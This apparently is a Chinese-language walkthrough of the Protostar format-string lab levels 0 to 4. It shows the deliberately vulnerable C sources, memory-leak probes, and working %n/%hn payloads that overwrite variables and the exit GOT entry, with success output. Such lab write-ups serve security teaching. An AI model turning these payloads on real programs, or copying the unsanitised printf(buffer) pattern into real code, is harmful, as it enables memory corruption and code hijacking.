Protostar-format

Protostar-format

format0

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

要求我们使用不超过10个字节过关,我们可以通过%nd输出n个占位符实现覆盖

python -c 'print "%64d\xef\xbe\xad\xde"'

format1

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);

  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

本关需要通过格式化字符串漏洞覆盖指定地址的内容,target,我们首先通过objdump找到target的地址。

0804a028 g     O .bss    00000004              target

它的地址是0804a028,接下来就是寻找argv的初始地址,查找命令是看一个师傅写的博客上的,很实用。

localadmin@localadmin-virtual-machine:~/Desktop$ ./1 aaaaaaaa`python -c "print '.'.join(['%d-%%x' % i for i in range(1,200)    ] )"`
aaaaaaaa1-2f.2-804a000.3-80484e2.4-2.5-bfffea94.6-bfffe9f8.7-804848e.8-bfffec9d.9-b7fff000.10-804849b.11-b7fc3000.12-8048490.13-0.14-0.15-b7e31a83.16-2.17-bfffea94.18-bfffeaa0.19-b7feccea.20-2.21-bfffea94.22-bfffea34.23-804a018.24-804822c.25-b7fc3000.26-0.27-0.28-0.29-8bf6038e.30-b216879e.31-0.32-0.33-0.34-2.35-8048350.36-0.37-b7ff2500.38-b7e31999.39-b7fff000.40-2.41-8048350.42-0.43-8048371.44-8048475.45-2.46-bfffea94.47-8048490.48-8048500.49-b7fed180.50-bfffea8c.51-1c.52-2.53-bfffec99.54-bfffec9d.55-0.56-bffff1aa.57-bffff1b5.58-bffff1ca.59-bffff1f0.60-bffff203.61-bffff21a.62-bffff22c.63-bffff262.64-bffff273.65-bffff28b.66-bffff2c9.67-bffff2df.68-bffff2ee.69-bffff312.70-bffff347.71-bffff352.72-bffff369.73-bffff379.74-bffff394.75-bffff3a6.76-bffff3bd.77-bffff401.78-bffff435.79-bffff464.80-bffff474.81-bffff995.82-bffff9ae.83-bffff9e8.84-bffffa1c.85-bffffa4c.86-bffffa7f.87-bffffaf9.88-bffffb3e.89-bffffb82.90-bffffb99.91-bffffbf7.92-bffffc18.93-bffffc36.94-bffffc53.95-bffffc5c.96-bffffc70.97-bffffc87.98-bffffc98.99-bffffca7.100-bffffcdd.101-bffffcf8.102-bffffd0b.103-bffffd28.104-bffffd3a.105-bffffd4c.106-bffffd66.107-bffffd6e.108-bffffd84.109-bffffd93.110-bffffda2.111-bffffdce.112-bffffde1.113-bffffdfb.114-bffffe37.115-bffffe86.116-bffffe98.117-bffffeb8.118-bffffec2.119-bffffed7.120-bffffef6.121-bfffff01.122-bfffff1b.123-bfffff2e.124-bfffff50.125-bfffff64.126-bfffff85.127-bfffff99.128-bfffffc1.129-bfffffda.130-bffffff2.131-0.132-20.133-b7fdd414.134-21.135-b7fdd000.136-10.137-fabfbff.138-6.139-1000.140-11.141-64.142-3.143-8048034.144-4.145-20.146-5.147-9.148-7.149-b7fde000.150-8.151-0.152-9.153-8048350.154-b.155-3e8.156-c.157-3e8.158-d.159-3e8.160-e.161-3e8.162-17.163-0.164-19.165-bfffec7b.166-1f.167-bffffff8.168-f.169-bfffec8b.170-0.171-0.172-0.173-0.174-cf000000.175-1a37ce4.176-9a78ba11.177-b94367a4.178-694e8bc5.179-363836.180-0.181-0.182-312f2e00.183-61616100.184-61616161.185-252d3161.186-2d322e78.187-332e7825.188-2e78252d.189-78252d34.190-252d352e.191-2d362e78.192-372e7825.193-2e78252d.194-78252d38.195-252d392e.196-30312e78.197-2e78252d.198-252d

可以看到在184个位置上重复出现0x414141,可以通过%n进行利用,将程序参数的前八位修改为target的地址,在184处调整参数,就可以将printf之前输入的数据的长度输入到target地址中

./foemat1 `python -c "print '\x28\xa0\x04\x08aaa'+'%x.'*180+'%n'"`

这个payload需要注意的两点一个是184需要减去4个字节的target的地址数,还有一个是需要调整位置,在地址后面补变量。

format2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);

  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

首先查找target的地址

localadmin@localadmin-virtual-machine:~/Desktop$ objdump -t 2 |grep target
0804a030 g     O .bss    00000004              target

target地址是0x0804a030

接下里寻找buffer的起始地址

localadmin@localadmin-virtual-machine:~/Desktop$ python -c 'print "AAAA"+"%p."*20'| ./2
AAAA0x200.0xb7fc3c20.0xb7fee328.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0xb7ff000a.

buffer的起始地址大概离我们有23个字节,而我们最后的目的是希望可以达到64

localadmin@localadmin-virtual-machine:~/Desktop$ python -c 'print "\x30\xa0\x04\x08aaaa%40x%x%x%n"'|./2
0�aaaa                                     200b7fc3c20b7fee328
you have modified the target :)

我是这么理解的:.%x*2会输出16个字节的数,加上40个字节一共是56个字节,包括target的4个字节加上四个a,一共是64。

format3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);

  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

首先还是要寻找buffer起始地址

localadmin@localadmin-virtual-machine:~/Desktop$ python -c 'print "AAAA"+"%p."*20'| ./3
AAAA0xb7ff2500.0xbfffef34.0xb7fc3000.(nil).(nil).0xbfffeef8.0x80484e6.0xbfffecf0.0x200.0xb7fc3c20.0xb7fee328.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.

位于第12个位置

target地址

localadmin@localadmin-virtual-machine:~/Desktop$ objdump -t 3 | grep target
0804a030 g     O .bss    00000004              target

地址是0x0804a030

本关的变量是个地址而不是一个数字,非常大,肯定不适用上一关的方法,为此可以利用多个地址拆分来完成。

localadmin@localadmin-virtual-machine:~/Desktop$ python -c 'print "\x30\xa0\x04\x08\x31\xa0\x04\x08\x32\xa0\x04\x08\x33\xa0\x04\x08%12$n%13$n%14$n%15$n"' | ./3
0�1�2�3�
target is 10101010 :(

这样就将target每个字节都覆盖了,现在我们只要算出写0x1025544需要在每个位置写多少字节就可以了。我们已经打印出16个字节的数据,所以每一个字节的target就是16

首先从最后一位开始

0x44=68-16=52

下一位

0x55=85-68=17

第三位有点问题由于0x02比85小,我们只需要输入大于0xff的数,多出来部分会覆盖下一个字节。我们想将1溢出,剩下2,所以输入

258-85=173

这样最后一个字节也不用考虑了。
之后写出exp就可以了。

localadmin@localadmin-virtual-machine:~/Desktop$ python -c 'print "\x30\xa0\x04\x08\x31\xa0\x04\x08\x32\xa0\x04\x08%56x%12$n%17x%13$n%173x%14$n"' | ./3
0�1�2�                                                b7ff2500         bfffef34                                                                                                                                                                     b7fc3000
you have modified the target :)

format4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}

void vuln()
{
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);

exit(1); 
}

int main(int argc, char **argv)
{
vuln();
}

本关是通过控制printf(buffer)和exit(1)运行到hello()函数,首先要得到exit和hello的地址。

objdump -t format4 | grep "hello"
080484b4 g    F .text  0000001e        hello

objdump -R format4 | grep "exit"
08049718 R_386_JUMP_SLOT    _exit
08049724 R_386_JUMP_SLOT    exit

buffer的位置

localadmin@localadmin-virtual-machine:~/Desktop$ echo     AAAA`python -c 'print ".%x"*5'` | ./4
AAAA.200.b7fc3c20.b7fee328.41414141.2e78252e

我们先将0x0804=2052-0=2044写入

之后将0x84b4=33972-2052=31920写入

echo `python -c 'print "\x24\x97\x04\x08\x26\x97\x04\x08%2044x%5$hn%31920x%4$hn"'` | ./format4

code execution redirected! you win

也可以

user@protostar:/opt/protostar/bin$ python -c 'print 0xb4-(0x18-0x8)'
164
user@protostar:/opt/protostar/bin$ python -c 'print 0x184-0xb4'
208
user@protostar:/opt/protostar/bin$ python -c 'print 0x104-0x84'
128
user@protostar:/opt/protostar/bin$ python -c 'print 0x108-0x04'
260

$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08"+"%3$164x%4$n"+"%4$208x%5$n"+"%5$128x%6$n"+"%6$260x%7$n"' | ./format4
文章目录
  1. 1. Protostar-format
    1. 1.1. format0
    2. 1.2. format1
    3. 1.3. format2
    4. 1.4. format3
    5. 1.5. format4
|